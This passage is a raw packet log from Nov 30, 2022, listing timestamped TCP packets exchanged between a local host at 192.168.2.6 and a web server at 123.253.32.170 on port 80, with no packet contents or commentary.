Nov 30, 2022 00:11:11.291416883 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.291449070 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291477919 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.291482925 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291516066 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291538954 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.291548014 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291579962 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291590929 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.291613102 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291646004 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291685104 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.291686058 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291721106 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291768074 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291769981 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.291800976 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291830063 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.291832924 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291866064 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291922092 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291924000 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.291969061 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291990995 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.292016983 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292052031 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292095900 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292109966 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.292129993 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292138100 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.292161942 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292195082 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292201042 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.292228937 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292270899 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292285919 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.292303085 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292335987 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292376995 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292387962 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.292408943 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292440891 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292450905 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.292474031 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292506933 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292507887 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.292538881 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292566061 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.292572021 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292606115 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292651892 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292711973 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292764902 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292813063 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292848110 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292892933 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292918921 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292952061 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.292992115 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.293024063 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.293065071 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.293106079 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.293109894 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.293127060 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.293137074 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.293170929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.293188095 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.293204069 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.293237925 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.293278933 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.293284893 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.293312073 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.293353081 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.293438911 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.293450117 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.294075012 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.309570074 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.309623003 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.309657097 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.309701920 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.309735060 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.309763908 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.309901953 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.309950113 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.309957027 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.309977055 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.309983015 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.310015917 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.310059071 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.310072899 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.310096979 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.385108948 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.385162115 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.385305882 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.559475899 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.559493065 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.559520960 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.559536934 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.559554100 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.559568882 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.559582949 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.559587955 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.559597969 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.559622049 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.559665918 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.560393095 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.560409069 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.560478926 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.562849998 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.562922955 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.562956095 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.562971115 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.562985897 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.562988043 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563002110 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563018084 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563038111 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563052893 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563067913 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563074112 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563107014 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563122034 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563138008 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563152075 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563168049 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563184977 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563184977 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563193083 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563199043 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563208103 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563236952 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563252926 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563260078 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563268900 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563283920 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563302040 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563304901 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563318014 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563321114 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563335896 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563347101 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563386917 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563404083 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563410997 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563447952 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563498974 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563513994 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563529968 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563550949 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563566923 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563580036 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563586950 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563601971 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563613892 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563617945 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563631058 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563632965 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563647985 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563672066 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563678026 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563699007 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563704967 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563719988 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563740015 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563761950 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563776970 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563776970 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563802958 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563812971 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563817978 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563832998 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563843012 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563858986 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563874006 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563880920 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563905001 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563920021 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563924074 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563935041 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563961029 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.563988924 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.563992023 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.564004898 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.564027071 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.564054966 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.564068079 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.564084053 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.564112902 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.564127922 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.564141035 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.564143896 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.564158916 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.564172029 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.564173937 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.564191103 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.564198971 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.564214945 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.564224005 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.564229965 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.564244986 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.564270020 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.564286947 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.564835072 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.579674959 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.579699993 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.579713106 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.579730988 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.579744101 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.579757929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.579994917 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.580437899 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.580497026 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.580526114 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.580547094 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.580598116 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.582891941 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.655139923 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.655170918 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.655188084 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.655261040 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.737258911 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.829309940 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.829338074 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.829365015 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.829385996 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.829406023 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.829425097 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.829443932 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.829440117 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.829463005 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.829521894 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.829521894 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.829555988 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.830674887 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.830697060 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.830790997 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.833022118 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833039045 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833060980 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833080053 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833100080 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833128929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833153009 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.833209038 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.833209038 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.833216906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833242893 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833276033 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833301067 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833317995 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.833326101 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833349943 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833370924 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.833374023 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833399057 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833420038 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.833424091 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833448887 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833473921 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833486080 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.833498001 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833513021 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.833530903 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833554029 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833565950 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.833585024 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833609104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833630085 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.833684921 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.833888054 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833911896 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833944082 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833966970 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833990097 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.833991051 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834014893 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834038973 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834055901 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834068060 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834094048 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834108114 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834124088 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834147930 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834148884 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834172964 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834197044 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834208012 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834220886 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834245920 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834256887 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834270000 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834285021 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834295988 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834320068 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834322929 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834343910 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834368944 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834378958 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834393024 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834414959 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834428072 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834439039 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834462881 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834485054 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834486008 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834510088 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834534883 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834533930 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834558010 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834569931 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834589958 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834614992 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834618092 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834639072 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834661961 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834675074 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834685087 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834707022 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834708929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834736109 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834758043 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834759951 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834786892 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834810972 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834811926 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834835052 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834858894 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834893942 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834903955 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834923029 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.834928989 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834954023 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.834990025 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.844538927 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.850267887 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.850298882 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.850320101 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.850351095 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.850373030 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.850400925 CET	80	49725	123.253.32.170	192.168.2.6
